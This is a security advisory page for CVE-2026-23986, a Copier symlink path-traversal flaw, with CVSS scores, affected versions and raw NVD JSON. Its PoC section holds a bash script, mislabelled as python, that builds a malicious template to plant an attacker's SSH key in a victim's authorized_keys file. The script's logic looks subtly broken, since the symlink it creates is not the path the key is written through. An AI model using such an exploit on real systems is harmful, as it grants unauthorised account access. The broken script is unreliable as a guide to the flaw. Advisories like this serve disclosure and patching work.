Security Vulnerability Report
中文
CVE-2026-23986 CVSS 7.1 HIGH

CVE-2026-23986

Published: 2026-01-21 23:15:53
Last Modified: 2026-02-02 14:10:51

Description

Copier is a library and CLI app for rendering project templates. Prior to version 9.11.2, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with `_preserve_symlinks: true` and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. Version 9.11.2 patches the issue.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:copier-org:copier:*:*:*:*:*:python:*:* - VULNERABLE
copier < 9.11.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2026-23986 PoC - Malicious Template Creation # This demonstrates the path traversal via symlink vulnerability # Create malicious template structure mkdir -p malicious_template/{{_copier}}/.ssh # Create symlink to arbitrary directory ln -sf /home/victim/.ssh malicious_template/.ssh_link # Create template configuration with _preserve_symlinks cat > malicious_template/copier.yml << 'EOF' _preserve_symlinks: true EOF # Create file that will be written through symlink cat > malicious_template/.ssh/authorized_keys << 'EOF' ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... attacker_key EOF # Create template source file cat > malicious_template/README.txt << 'EOF' Welcome to the template EOF # Attacker hosts this template # When victim runs: copier <attacker_template_url> target_dir # Files will be written to /home/victim/.ssh/authorized_keys instead of target_dir

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23986", "sourceIdentifier": "[email protected]", "published": "2026-01-21T23:15:52.793", "lastModified": "2026-02-02T14:10:51.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Copier is a library and CLI app for rendering project templates. Prior to version 9.11.2, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with `_preserve_symlinks: true` and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. Version 9.11.2 patches the issue."}, {"lang": "es", "value": "Copier es una librería y aplicación CLI para renderizar plantillas de proyecto. Antes de la versión 9.11.2, Copier sugiere que es seguro generar un proyecto a partir de una plantilla segura, es decir, una que no utiliza características inseguras como extensiones Jinja personalizadas, lo que requeriría pasar la bandera '--UNSAFE,--trust'. Resulta que una plantilla segura puede actualmente escribir en directorios arbitrarios fuera de la ruta de destino utilizando un enlace simbólico de directorio junto con '_preserve_symlinks: true' y una estructura de directorio generada cuya ruta renderizada está dentro del directorio con enlace simbólico. De esta manera, un autor de plantilla malicioso puede crear una plantilla que sobrescribe archivos arbitrarios (según los permisos de escritura del usuario), por ejemplo, para causar estragos. La versión 9.11.2 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:copier-org:copier:*:*:*:*:*:python:*:*", "versionEndExcluding": "9.11.2", "matchCriteriaId": "D801CAA3-21AA-451E-AB4E-8D30E9C5345D"}]}]}], "references": [{"url": "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/copier-org/copier/releases/tag/v9.11.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}